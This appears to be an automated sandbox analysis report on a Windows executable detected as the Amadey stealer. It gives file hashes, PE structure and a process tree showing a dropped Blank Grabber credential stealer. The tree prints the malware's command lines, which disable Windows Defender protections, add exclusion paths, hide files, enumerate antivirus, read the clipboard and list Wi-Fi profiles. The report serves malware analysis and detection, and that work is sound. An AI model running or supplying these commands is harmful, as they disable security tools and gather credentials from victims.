Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no lo

C:\Users\user\AppData\Local\Temp\vLqBW.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	758686
Entropy (8bit):	7.9997493017828285
Encrypted:	true
SSDEEP:	12288:VwYIkQxqdnvV6wxSP4pQm4JW6qI4Koy1CtPPpPVR4L8zC4:VwYZQxqVvNpwJW6z7oBRdRm4
MD5:	FB4B12411BBF00753EB2FC9CFB3E67BE
SHA1:	4183E9434179EE82DC386560E2818DEB7A3C4E86
SHA-256:	9688957B5EF3EF7C6DF96213BF16074514D971BEA9E450B6315EAC5ED016817A
SHA-512:	5BB41A5C53D645D03A5CFD35029B15B0D8706E38BF0948EF50E1D85CCCE3CB50096D5600EBF5850733BB108479CC7CFC86D26E8FF1198909E07329621953370F
Malicious:	true
Reputation:	unknown
Preview:	Rar!......;.!..........."0..3..yt...O..a`.b..i[....Cf..&.X.7.-.. ...dsV.8.;..x...$......?h..../.c...P..`m...<.w1.....zk.2u.T0...rD....X.`c.!..p......f.SF....J...9.s....n_~..O.S..5....<....u0u].W_`.G...\.....Rl.B.H.f..qk@..Q!L.M...$.....S..q..x1.LG.Y./.).=z..MJ.oT-..?L_..v.<......iv....r^.KHp5......e!.;.8R_..WL>..Y....e....G. .....1... .$...kf...p.`C.Z.l.8!..._4.T...V..&.........S....d"T.z.^.^...e..!.}uz.]m..l....K..N.s.s.33. .X@5..8..G.}...\ ..>...Z..K..2O.....bn}".g..C..CX.cB,[..t{,,. ...f...Y..2..E...')..@.t...6...K<.oF(....w[.4....\.D......%=~N6.N3j..J!../=U.....T....7...R...G.8%...)eM8....'s.:.o...'...F.f..R..;......\|...x&.J..z_.....c......+....}.6)...Q..#.2....7..-.."..#....V..iR._v.e.</y+r.bY=...?\|..6.&..3....`.8G.1.(..wn...1.pz...Ia.....'..w.5.o.B9}......BP.....i..B!..o......k....#...9&5.[r.SlE:"2.s`.(.XW...C..[.rF..&..(].]......"S....Zw[..J."K.....7......&K..o#..-........E..."H..5t...y.{wcz..J+{m'.x...=[.+.!5l.:I..M.r.@.

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4196376856720923
Encrypted:	false
SSDEEP:	6:RnX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lHtbut0:JuQ1CGAFifXVH8t0
MD5:	8CF96DE3B335E6E86EA8DD5AF3AC923A
SHA1:	82AB675AB274FC1C244FF05F41706DAEBC43D00B
SHA-256:	09D868876787ECA5ED7538E41E0E9610BB9686189093D6EE95EF20B793BE23F1
SHA-512:	ECA146EB71178125F2BFFDFE33407D9BC2FA69FA9582231F32F98813615719DB91500C685E96EAB792560D9CACABA718056DAF3D6C7E94BDCE7E2F3EA3EEC027
Malicious:	false
Reputation:	unknown
Preview:	....$i..lGTE....CqJ.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Reputation:	unknown
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.54792183955597
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'037'184 bytes
MD5:	cd7686b11754d77b8722880a1a3a9a43
SHA1:	ea1c00d2985812539452a31d8f75506573dad692
SHA256:	a3d6d7eea1a9270e20be65394c942207078daac5952a12a9404dd4c557fd2944
SHA512:	64d095a52c5a9987cbdbe00c95cd96db67d5bf9faa9a53c1132eab27be7d0d8b7adf209195db8b925c6453ada759165ecfc8c1a5ac4f3ea7d3427fea2b643cab
SSDEEP:	49152:30HhKY2JwV6AskokjOnIY/cy6oMjYnJpY2Q2AM6J6OK:3mAJwV6AsFkiIycy6odnJ1Q2AM6J6O
TLSH:	CEE55B917405B1CFD48A177B8967ED42699D03B9072148C3ACADB8BEBDE3DC116F6C28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x720000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5E60E7752Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x31e72c	0x10	uyplpdnx
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x31e6dc	0x18	uyplpdnx
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	0a256f1eb2abd685c0b69a2b7f39c3d5	False	0.9983768307220708	data	7.986412821940457	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	81df49c5cf11a93a5c587a846bc83433	False	0.712890625	data	5.81508100210508	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uyplpdnx	0x6b000	0x2b4000	0x2b3e00	f02aad462a0c4c276d3d415f7cb39b81	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lxepjdzt	0x31f000	0x1000	0x400	a60aee545c16d449b7fa585cdcacd2b9	False	0.7548828125	data	5.926614948636206	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x320000	0x3000	0x2200	822ce7b0a23a7c86a80aaeda0e4cc1bd	False	0.05778952205882353	DOS executable (COM)	0.7032949026486868	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x31e73c	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x31eb20	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	16:10:09
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x260000
File size:	3'037'184 bytes
MD5 hash:	CD7686B11754D77B8722880A1A3A9A43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2205661447.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:10:15
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x690000
File size:	3'037'184 bytes
MD5 hash:	CD7686B11754D77B8722880A1A3A9A43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2270058738.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:10:15
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x690000
File size:	3'037'184 bytes
MD5 hash:	CD7686B11754D77B8722880A1A3A9A43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2268719607.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	16:10:39
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"
Imagebase:	0x7ff67aed0000
File size:	6'291'456 bytes
MD5 hash:	63EFECD388A74A9CDEB79CD7C8020E7E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000005.00000003.2469304797.0000027326167000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000005.00000003.2469304797.0000027326165000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:10:40
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"
Imagebase:	0x7ff67aed0000
File size:	6'291'456 bytes
MD5 hash:	63EFECD388A74A9CDEB79CD7C8020E7E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000006.00000003.2986166870.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000006.00000002.2992431014.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000006.00000003.2983797651.000001FA2EDC1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe""
Imagebase:	0x7ff632ac0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h +s "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"
Imagebase:	0x7ff7a3bb0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:10:42
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:10:45
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:10:45
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:10:45
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:10:45
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:10:45
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6d7870000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:10:45
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6d7870000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:10:45
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:10:45
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:10:46
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe"
Imagebase:	0x5f0000
File size:	810'496 bytes
MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 67%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:10:46
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff681f80000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:10:46
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
